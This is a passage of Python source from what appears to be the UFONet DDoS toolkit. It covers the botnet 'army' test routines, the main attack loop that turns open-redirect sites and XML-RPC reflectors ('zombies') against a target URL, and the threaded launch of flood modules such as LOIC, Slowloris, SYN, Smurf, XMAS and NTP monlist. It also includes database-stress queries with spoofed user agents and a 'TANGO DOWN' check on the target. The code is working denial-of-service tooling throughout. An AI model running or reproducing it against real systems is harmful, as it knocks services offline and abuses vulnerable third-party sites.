  4074. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  4075. else:
  4076. # update 'rpcs' list
  4077. if num_active_rpcs == 0:
  4078. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  4079. return
  4080. else:
  4081. if not self.options.forceyes:
  4082. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  4083. print('-'*25)
  4084. else:
  4085. update_reply = "Y"
  4086. if update_reply == "n" or update_reply == "N":
  4087. print("[AI] "+self.exit_msg+"\n")
  4088. return
  4089. else:
  4090. self.update_rpcs(rpcs_ready)
  4091. if not self.options.upload:
  4092. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4093. def testing(self, zombies):
  4094. # test Open Redirect exploiting and show statistics
  4095. # HTTP HEAD check
  4096. army = 0
  4097. print ("Are 'they' alive? :-) (HEAD Check):")
  4098. print('='*35)
  4099. num_active_zombies = 0
  4100. num_failed_zombies = 0
  4101. active_zombies = []
  4102. print("Trying:", len(zombies))
  4103. print('-'*21)
  4104. for zombie in zombies:
  4105. zombie = str(zombie)
  4106. if zombie.startswith("http://") or zombie.startswith("https://"):
  4107. # send HEAD connection
  4108. self.head = True
  4109. try:
  4110. self.connect_zombies(zombie)
  4111. except:
  4112. pass
  4113. while self.herd.no_more_zombies() == False:
  4114. time.sleep(1)
  4115. for zombie in self.herd.done:
  4116. zombie = str(zombie)
  4117. t = urlparse(zombie)
  4118. if self.herd.get_result(zombie):
  4119. code_reply = self.herd.get_result(zombie)
  4120. self.head = False
  4121. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  4122. name_zombie = t.netloc
  4123. if name_zombie == "":
  4124. name_zombie = zombie
  4125. print("Zombie:", name_zombie)
  4126. print("Status: OK ["+ code_reply + "]")
  4127. num_active_zombies = num_active_zombies + 1
  4128. active_zombies.append(zombie)
  4129. elif code_reply == "401":
  4130. print("Zombie:", t.netloc)
  4131. print("Status: Unauthorized ["+ code_reply + "]")
  4132. num_failed_zombies = num_failed_zombies + 1
  4133. elif code_reply == "403":
  4134. print("Zombie:", t.netloc)
  4135. print("Status: Error Forbidden ["+ code_reply + "]")
  4136. num_failed_zombies = num_failed_zombies + 1
  4137. elif code_reply == "404":
  4138. print("Zombie:", t.netloc)
  4139. print("Status: Not Found ["+ code_reply + "]")
  4140. num_failed_zombies = num_failed_zombies + 1
  4141. elif code_reply == "500":
  4142. print("Zombie:", t.netloc)
  4143. print("Status: Internal Server Error ["+ code_reply + "]")
  4144. num_failed_zombies = num_failed_zombies + 1
  4145. else:
  4146. print("Zombie:", t.netloc, "\nVector:", zombie)
  4147. print("Status: Not Allowed ["+ code_reply + "]")
  4148. num_failed_zombies = num_failed_zombies + 1
  4149. else:
  4150. if self.options.verbose:
  4151. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  4152. print("Zombie:", zombie)
  4153. print("Status: Malformed!")
  4154. num_failed_zombies = num_failed_zombies + 1
  4155. print('-'*10)
  4156. self.herd.reset()
  4157. print('='*18)
  4158. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  4159. print('='*18 + "\n")
  4160. print('='*22)
  4161. if num_active_zombies > 0:
  4162. # check url parameter vectors
  4163. print ("Checking for payloads:")
  4164. print('='*22)
  4165. print("Trying:", num_active_zombies)
  4166. print('-'*21)
  4167. zombies_ready = []
  4168. num_waiting_zombies = 0
  4169. if num_active_zombies == 0:
  4170. num_disconnected_zombies = num_failed_zombies
  4171. else:
  4172. num_disconnected_zombies = 0
  4173. for zombie in active_zombies:
  4174. zombie = str(zombie)
  4175. t = urlparse(zombie)
  4176. name_zombie = t.netloc
  4177. if name_zombie == "":
  4178. name_zombie = zombie
  4179. self.payload = True
  4180. try:
  4181. self.connect_zombies(zombie)
  4182. except:
  4183. pass
  4184. self.payload = False
  4185. while self.herd.no_more_zombies() == False:
  4186. time.sleep(1)
  4187. for zombie in self.herd.done:
  4188. zombie = str(zombie)
  4189. t = urlparse(zombie)
  4190. name_zombie = t.netloc
  4191. if name_zombie == "":
  4192. name_zombie = zombie
  4193. payload_zombie = zombie
  4194. payload_reply = ""
  4195. print("Vector:", payload_zombie)
  4196. self.payload = True
  4197. if self.herd.get_result(zombie):
  4198. payload_reply = self.herd.get_result(zombie)
  4199. self.payload = False
  4200. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  4201. num_waiting_zombies = num_waiting_zombies + 1
  4202. print("Status:", "Waiting for orders... ;-)")
  4203. zombies_ready.append(zombie)
  4204. else:
  4205. num_disconnected_zombies = num_disconnected_zombies + 1
  4206. print("Status:", "Not ready...")
  4207. army = army + 1
  4208. print('-'*10)
  4209. self.herd.reset()
  4210. print('='*18)
  4211. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  4212. print('='*18 + "\n")
  4213. # list of [Zombies] ready to attack
  4214. num_active_zombie = 0
  4215. for z in zombies_ready:
  4216. t = urlparse(z)
  4217. name_zombie = t.netloc
  4218. if name_zombie == "":
  4219. name_zombie = z
  4220. num_active_zombie = num_active_zombie + 1
  4221. if self.options.verbose:
  4222. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  4223. if self.options.testall: # testing_all
  4224. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  4225. else:
  4226. print('-'*25 + "\n")
  4227. print('='*24)
  4228. print("Working [Zombies]:", num_active_zombie)
  4229. print('='*24)
  4230. if not self.options.forceyes:
  4231. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  4232. print('-'*25)
  4233. else:
  4234. update_reply = "Y"
  4235. if update_reply == "n" or update_reply == "N":
  4236. print("[AI] "+self.exit_msg+"\n")
  4237. return
  4238. else:
  4239. self.update_zombies(zombies_ready)
  4240. if not self.options.upload:
  4241. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4242. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  4243. else:
  4244. print('-'*25 + "\n")
  4245. print('='*24)
  4246. print("Working [Zombies]:", num_active_zombies)
  4247. print('='*24)
  4248. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  4249. def testing_all(self):
  4250. # test whole botnet
  4251. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  4252. print('='*35)
  4253. zombies = self.extract_zombies()
  4254. rpcs = self.extract_rpcs()
  4255. aliens = self.extract_aliens()
  4256. droids = self.extract_droids()
  4257. ucavs = self.extract_ucavs()
  4258. try:
  4259. botnet = zombies + rpcs + aliens + droids + ucavs
  4260. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  4261. except:
  4262. return
  4263. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  4264. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  4265. print("\n" + '='*52)
  4266. print("\n+ Total Botnet:", len(botnet))
  4267. print("\n" + '-'*25)
  4268. print("\n+ Total Tested:", len(tested_zombies))
  4269. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  4270. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  4271. print('='*52 + '\n')
  4272. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  4273. if not self.options.forceyes:
  4274. update_reply = input("[AI] Do you want update your army? (Y/n)")
  4275. print('-'*25)
  4276. else:
  4277. update_reply = "Y"
  4278. if update_reply == "n" or update_reply == "N":
  4279. print("[AI] "+self.exit_msg+"\n")
  4280. return
  4281. else:
  4282. if num_disconnected_zombies > 0:
  4283. self.update_zombies(zombies_ready)
  4284. if num_failed_rpcs > 0:
  4285. self.update_rpcs(rpcs_ready)
  4286. if not self.options.upload:
  4287. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4288. else:
  4289. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  4290. def attacking(self, zombies, target):
  4291. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  4292. if self.options.forcessl:
  4293. if target.startswith("http://"):
  4294. target = target.replace("http://", "https://") # force SSL/TLS
  4295. if target.startswith("http://") or target.startswith("https://"):
  4296. print("Attacking:", target)
  4297. print('='*55, "\n")
  4298. # send Open Redirect injection (multiple zombies > one target url)
  4299. reply = self.injection(target, zombies)
  4300. else:
  4301. print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n")
  4302. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist):
  4303. # perform some other extra attacks (such as DoS techniques)
  4304. time.sleep(2) # aiming (multi-threading flow time compensation)
  4305. if loic:
  4306. try:
  4307. self.options.loic = int(loic)
  4308. except:
  4309. self.options.loic = 100 # default LOIC requests
  4310. if self.options.loic < 1:
  4311. self.options.loic = 100
  4312. self.instance = LOIC() # instance main class for LOIC operations
  4313. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  4314. self.t1.daemon = True # extra weapons are threaded as daemons
  4315. self.t1.start()
  4316. self.update_loic_stats() # add new LOIC attack to mothership stats
  4317. if loris:
  4318. try:
  4319. self.options.loris = int(loris)
  4320. except:
  4321. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  4322. if self.options.loris < 1:
  4323. self.options.loris = 101
  4324. self.instance = LORIS() # instance main class for LORIS operations
  4325. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  4326. self.t2.daemon = True
  4327. self.t2.start()
  4328. self.update_loris_stats() # add new LORIS attack to mothership stats
  4329. if ufosyn:
  4330. try:
  4331. self.options.ufosyn = int(ufosyn)
  4332. except:
  4333. self.options.ufosyn = 100 # default UFOSYN requests
  4334. if self.options.ufosyn < 1:
  4335. self.options.ufosyn = 100
  4336. self.instance = UFOSYN() # instance main class for UFOSYN operations
  4337. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  4338. self.t3.daemon = True
  4339. self.t3.start()
  4340. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  4341. if spray:
  4342. try:
  4343. self.options.spray = int(spray)
  4344. except:
  4345. self.options.spray = 100 # default SPRAY requests
  4346. if self.options.spray < 1:
  4347. self.options.spray = 100
  4348. self.instance = SPRAY() # instance main class for SPRAY operations
  4349. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  4350. self.t4.daemon = True
  4351. self.t4.start()
  4352. self.update_spray_stats() # add new SPRAY attack to mothership stats
  4353. if smurf:
  4354. try:
  4355. self.options.smurf = int(smurf)
  4356. except:
  4357. self.options.smurf = 101 # default SMURF requests
  4358. if self.options.smurf < 1:
  4359. self.options.smurf = 101
  4360. self.instance = SMURF() # instance main class for SMURF operations
  4361. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  4362. self.t5.daemon = True
  4363. self.t5.start()
  4364. self.update_smurf_stats() # add new SMURF attack to mothership stats
  4365. if xmas:
  4366. try:
  4367. self.options.xmas = int(xmas)
  4368. except:
  4369. self.options.xmas = 101 # default XMAS requests
  4370. if self.options.xmas < 1:
  4371. self.options.xmas = 101
  4372. self.instance = XMAS() # instance main class for XMAS operations
  4373. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  4374. self.t6.daemon = True
  4375. self.t6.start()
  4376. self.update_xmas_stats() # add new XMAS attack to mothership stats
  4377. if nuke:
  4378. if sys.platform == "linux" or sys.platform == "linux2":
  4379. try:
  4380. self.options.nuke = int(nuke)
  4381. except:
  4382. self.options.nuke = 10000 # default NUKE requests
  4383. if self.options.nuke < 1:
  4384. self.options.nuke = 10000
  4385. self.instance = NUKE() # instance main class for NUKE operations
  4386. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  4387. self.t7.daemon = True # extra weapons are threaded as daemons
  4388. self.t7.start()
  4389. self.update_nuke_stats() # add new NUKE attack to mothership stats
  4390. else:
  4391. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  4392. if tachyon:
  4393. try:
  4394. self.options.tachyon = int(tachyon)
  4395. except:
  4396. self.options.tachyon = 1000 # default TACHYON requests
  4397. if self.options.tachyon < 1:
  4398. self.options.tachyon = 1000
  4399. self.instance = TACHYON() # instance main class for TACHYON operations
  4400. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  4401. self.t8.daemon = True
  4402. self.t8.start()
  4403. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  4404. if monlist:
  4405. try:
  4406. self.options.monlist = int(monlist)
  4407. except:
  4408. self.options.monlist = 1000 # default MONLIST requests
  4409. if self.options.monlist < 1:
  4410. self.options.monlist = 1000
  4411. self.instance = MONLIST() # instance main class for MONLIST operations
  4412. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  4413. self.t9.daemon = True
  4414. self.t9.start()
  4415. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  4416. def stressing(self, target, zombie):
  4417. # perform a DDoS Web attack against a target, requesting records on target's database
  4418. options = self.options
  4419. db_input = self.options.dbstress
  4420. def random_key(length):
  4421. key = ''
  4422. for i in range(length):
  4423. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4424. return key
  4425. # generating random alphanumeric queries
  4426. if self.db_flash > 9: # set db flash start on: 10
  4427. length = 1024 # search a heavy random length query (db flash): 1024
  4428. self.db_flash = 0 # reset db flash counter
  4429. else:
  4430. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  4431. key = str(random_key(length))
  4432. if self.db_flash > 9:
  4433. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  4434. else:
  4435. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  4436. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4437. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4438. if not target.endswith('/'): # add "/" to end of target
  4439. target = target + "/"
  4440. url = zombie + target + db_input + key
  4441. req = urllib.request.Request(url, None, headers)
  4442. if options.proxy: # set proxy
  4443. self.proxy_transport(options.proxy)
  4444. try:
  4445. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4446. except urllib.error.HTTPError as e:
  4447. if e.code == 401:
  4448. print('[Info] [DBStress] Not authorized')
  4449. elif e.code == 404:
  4450. print('[Info] [DBStress] Not found')
  4451. elif e.code == 503:
  4452. print('[Info] [DBStress] Service unavailable')
  4453. else:
  4454. print('[Info] [DBStress] Unknown error')
  4455. else:
  4456. print('[Info] [DBStress] Database query: HIT!')
  4457. def attackme(self, zombies):
  4458. # perform a DDoS Web attack against yourself
  4459. print("[AI] Starting local port to listening at: " + self.port + "\n")
  4460. print('='*21 + "\n")
  4461. self.doll=Doll(self)
  4462. self.doll.start()
  4463. while not self.doll._armed:
  4464. time.sleep(1)
  4465. # send Open Redirect injection (multiple zombies-multiple target urls)
  4466. target = ""
  4467. self.injection(target, zombies)
  4468. self.doll.shutdown()
  4469. self.doll.join()
  4470. self.herd.list_fails()
  4471. def check_target_status(self):
  4472. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  4473. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  4474. if not self.options.forceyes:
  4475. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  4476. print("\n" + '-'*25)
  4477. else:
  4478. update_reply = "N"
  4479. if update_reply == "y" or update_reply == "Y":
  4480. try: # send HEAD connection
  4481. self.head = True
  4482. reply = self.connect_zombie(target)
  4483. self.head = False
  4484. if reply:
  4485. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  4486. else:
  4487. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4488. self.update_targets_crashed() # update targets crashed stats
  4489. self.update_mothership_stats() # update mothership completed attack stats
  4490. except Exception:
  4491. print("\n[Error] [AI] Something wrong with your connection!...\n")
  4492. if DEBUG == True:
  4493. traceback.print_exc()
  4494. return
  4495. else:
  4496. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4497. self.update_targets_crashed() # update targets crashed stats
  4498. self.update_mothership_stats() # update mothership completed attack stats
  4499. return
  4500. def starting_target_check(self, target, head_check):
  4501. options = self.options
  4502. head_check_here = False
  4503. head_check_external = False
  4504. if options.disablehead: # check at start is disabled (skipping!)
  4505. print("[Info] [AI] Skipping external check...\n")
  4506. head_check_here = True
  4507. head_check_external = True
  4508. else:
  4509. if head_check:
  4510. if not options.attackme:
  4511. print("[AI] Launching: 'Is target up?' check...\n")
  4512. try: # send HEAD connection
  4513. self.head = True
  4514. reply = self.connect_zombie(target)
  4515. self.head = False
  4516. if reply:
  4517. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  4518. head_check_here = True
  4519. else:
  4520. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  4521. head_check_here = False
  4522. except Exception:
  4523. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  4524. if DEBUG == True:
  4525. traceback.print_exc()
  4526. head_check_here = False
  4527. else: # check if local IP/PORT is listening on mothership
  4528. print("[AI] Launching: 'Is NAT ready?' check...\n")
  4529. try:
  4530. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  4531. result = sock.connect_ex(('0.0.0.0',8080))
  4532. if result == 0 or result == 110: # black magic
  4533. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  4534. head_check_here = True
  4535. else:
  4536. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  4537. head_check_here = False
  4538. except Exception:
  4539. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  4540. if DEBUG == True:
  4541. traceback.print_exc()
  4542. head_check_here = False
  4543. else:
  4544. head_check_here = True
  4545. # check target using external check services
  4546. self.external = True
  4547. if not options.attackme:
  4548. try:
  4549. target = self.parse_url_encoding(target) # parse for proper url encoding
  4550. try:
  4551. url = self.external_check_service1 + target # check from external service [1]
  4552. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4553. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4554. if options.proxy: # set proxy
  4555. self.proxy_transport(options.proxy)
  4556. req = urllib.request.Request(url, None, headers)
  4557. external_reply = urllib.request.urlopen(req, context=self.ctx).read()
  4558. if b"returned code 200 OK and is up" in external_reply:
  4559. t = urlparse(self.external_check_service1)
  4560. name_external1 = t.netloc
  4561. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  4562. head_check_external = True
  4563. except:
  4564. url = self.external_check_service2 + target # check from external service [2]
  4565. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4566. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4567. if options.proxy: # set proxy
  4568. self.proxy_transport(options.proxy)
  4569. req = urllib.request.Request(url, None, headers)
  4570. try:
  4571. req_reply = urllib.request.urlopen(req, context=self.ctx).read()
  4572. if b"It's just you" in req_reply:
  4573. t = urlparse(self.external_check_service2)
  4574. name_external2 = t.netloc
  4575. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
  4576. head_check_external = True
  4577. else:
  4578. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  4579. head_check_external = False
  4580. except urllib.error.HTTPError as e:
  4581. if e:
  4582. print("[Error] [AI] [Control] [ "+ self.external_check_service2 +" ] isn't replying to your requests! -> [Passing!]")
  4583. print ("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  4584. head_check_external = False
  4585. except Exception:
  4586. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  4587. if DEBUG == True:
  4588. traceback.print_exc()
  4589. head_check_external = False
  4590. else:
  4591. try: # check mothership from public ip / NAT using HEAD request
  4592. try:
  4593. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  4594. reply = urllib.request.urlopen(req)
  4595. except Exception:
  4596. reply = None
  4597. if reply:
  4598. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  4599. head_check_external = True
  4600. else:
  4601. print("[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  4602. head_check_external = False
  4603. head_check_here = False # stop attack if not public IP available
  4604. except Exception:
  4605. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  4606. head_check_here = False # stop attack if not public IP available
  4607. if DEBUG == True:
  4608. traceback.print_exc()
  4609. head_check_external = False
  4610. self.external = False
  4611. return head_check_here, head_check_external
  4612. def injection(self, target, zombies, head_check = True):
  4613. options = self.options
  4614. # check target's integrity at start
  4615. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  4616. # ask user to confirm the attack
  4617. if head_check_here == True or head_check_external == True:
  4618. if not self.options.forceyes:
  4619. if not options.attackme:
  4620. if not options.disablehead:
  4621. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  4622. else:
  4623. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  4624. else:
  4625. if not options.disablehead:
  4626. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  4627. else:
  4628. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  4629. else:
  4630. start_reply = "Y"
  4631. if start_reply == "y" or start_reply == "Y":
  4632. if options.attackme:
  4633. total_rounds = 2 # default rounds for attackme
  4634. else:
  4635. total_rounds = options.rounds # extract number of rounds
  4636. try:
  4637. total_rounds = int(total_rounds)
  4638. except:
  4639. total_rounds = 1
  4640. if not total_rounds:
  4641. total_rounds = 1
  4642. if total_rounds <= 0:
  4643. total_rounds = 1
  4644. self.herd.cleanup()
  4645. num_round = 1
  4646. num_hits = 0
  4647. num_zombie = 1
  4648. # start to attack the target with [MODS]
  4649. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.xmas or options.nuke or options.tachyon or options.monlist:
  4650. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.xmas, self.options.nuke, self.options.tachyon, self.options.monlist)) # multithreading flow for extra attacks
  4651. ex.daemon = True # extra weapons are threaded as daemons
  4652. ex.start()
  4653. # start to attack the target with [ARMY]
  4654. zombies = self.extract_zombies() # extract zombies from file
  4655. if zombies:
  4656. self.total_zombie = len(zombies)
  4657. else:
  4658. self.total_zombie = 0
  4659. return
  4660. self.herd=Herd(self)
  4661. if not self.options.disablepurge:
  4662. self.discardzombies = []
  4663. self.discard_aliens = []
  4664. self.discard_droids = []
  4665. self.discard_rpcs = []
  4666. self.discard_ucavs = []
  4667. total_disc_zombies = 0
  4668. self.num_discard_zombies = 0
  4669. self.num_discard_aliens = 0
  4670. self.num_discard_droids = 0
  4671. self.num_discard_rpcs = 0
  4672. self.num_discard_ucavs = 0
  4673. self.empty_zombies = False
  4674. for i in range(0, int(total_rounds)): # start attacking using rounds
  4675. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  4676. print('='*42)
  4677. print('Starting round:', num_round, ' of ', total_rounds)
  4678. print('='*42)
  4679. self.herd.reset()
  4680. self.extra_zombies_lock = True
  4681. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  4682. self.send_zombies(zombies) # send [Zombies]
  4683. if not self.options.attackme:
  4684. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  4685. if self.options.verbose:
  4686. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  4687. self.send_extra_zombies() # send [ARMY]
  4688. while self.extra_zombies_lock == True:
  4689. time.sleep(1) # wait for [ARMY] to return
  4690. if self.options.verbose:
  4691. print("\n" + '='*42)
  4692. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  4693. else:
  4694. zombies_lock = 0
  4695. if self.options.expire: # set timing for purge
  4696. try:
  4697. timing = int(self.options.expire)
  4698. except:
  4699. timing = self.expire_timing # default timing for purge
  4700. else:
  4701. timing = self.expire_timing # default timing for purge
  4702. if timing < 1:
  4703. timing = self.expire_timing # default timing for purge
  4704. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  4705. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  4706. zombies_lock = zombies_lock + 1
  4707. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  4708. if self.options.verbose:
  4709. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  4710. break
  4711. else:
  4712. time.sleep(1)
  4713. if self.options.verbose:
  4714. print("\n" + '='*42)
  4715. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  4716. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  4717. self.check_target_status()
  4718. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  4719. self.abandoning_zombies() # check for abandoning zombies
  4720. for zombie in self.herd.done: # check for num hits
  4721. if self.herd.connection_failed(zombie) == False:
  4722. num_hits = num_hits + 1
  4723. num_zombie = num_zombie + 1
  4724. if num_zombie > self.total_zombie:
  4725. num_zombie = 1
  4726. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  4727. check_is_loading = self.check_is_loading(target)
  4728. self.herd.dump_html()
  4729. if not self.options.disablepurge:
  4730. if self.empty_zombies == True:
  4731. break # exit routine when not any more zombies
  4732. num_round = num_round + 1
  4733. if self.options.verbose:
  4734. print("\n" + '='*42)
  4735. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  4736. if self.options.loic: # try to stop daemons/threads for extra weapons
  4737. self.t1.join()
  4738. if self.options.loris:
  4739. self.t2.join()
  4740. if self.options.ufosyn:
  4741. self.t3.join()
  4742. if self.options.spray:
  4743. self.t4.join()
  4744. if self.options.smurf:
  4745. self.t5.join()
  4746. if self.options.xmas:
  4747. self.t6.join()
  4748. if self.options.nuke:
  4749. self.t7.join()
  4750. if self.options.tachyon:
  4751. self.t8.join()
  4752. if self.options.monlist:
  4753. self.t9.join()
  4754. if self.options.target_list:
  4755. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  4756. print ("\x1b[2J\x1b[H") # black magic
  4757. if not self.options.attackme: # show herd results
  4758. self.herd.dump()
  4759. else: # show doll results
  4760. print('='*21)
  4761. print("\n[Info] [AI] Mothership transmission...\n")
  4762. num_real_zombies = len(self.doll.real_zombies)
  4763. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  4764. for z in self.doll.real_zombies: # show only alien verified zombies
  4765. for x in z:
  4766. print(" - " + str(x))
  4767. self.herd.dump_html(True) # show (all) zombies statistics
  4768. if not self.options.attackme:
  4769. if not self.options.disablepurge:
  4770. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  4771. else:
  4772. if not options.target_list:
  4773. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  4774. else:
  4775. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  4776. self.update_mothership_stats() # update mothership stats
  4777. if not self.options.disablepurge:
  4778. print('='*21+ "\n")
  4779. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  4780. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4781. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  4782. elif total_disc_zombies > 1:
  4783. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  4784. if self.num_discard_zombies > 0:
  4785. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  4786. if self.num_discard_aliens > 0:
  4787. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  4788. if self.num_discard_droids > 0:
  4789. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  4790. if self.num_discard_rpcs > 0:
  4791. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  4792. if self.num_discard_ucavs > 0:
  4793. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  4794. if total_disc_zombies > 0:
  4795. if not self.options.forceyes:
  4796. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4797. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  4798. elif total_disc_zombies > 1:
  4799. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  4800. else:
  4801. backup_reply = "Y"
  4802. if backup_reply == "y" or backup_reply == "Y":
  4803. print("\n[Info] [AI] Purging failed units from files...\n")
  4804. discarded = []
  4805. if self.num_discard_zombies > 0:
  4806. for z in self.discardzombies:
  4807. discarded.append(z)
  4808. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  4809. if self.num_discard_aliens > 0:
  4810. for a in self.discard_aliens:
  4811. discarded.append(a)
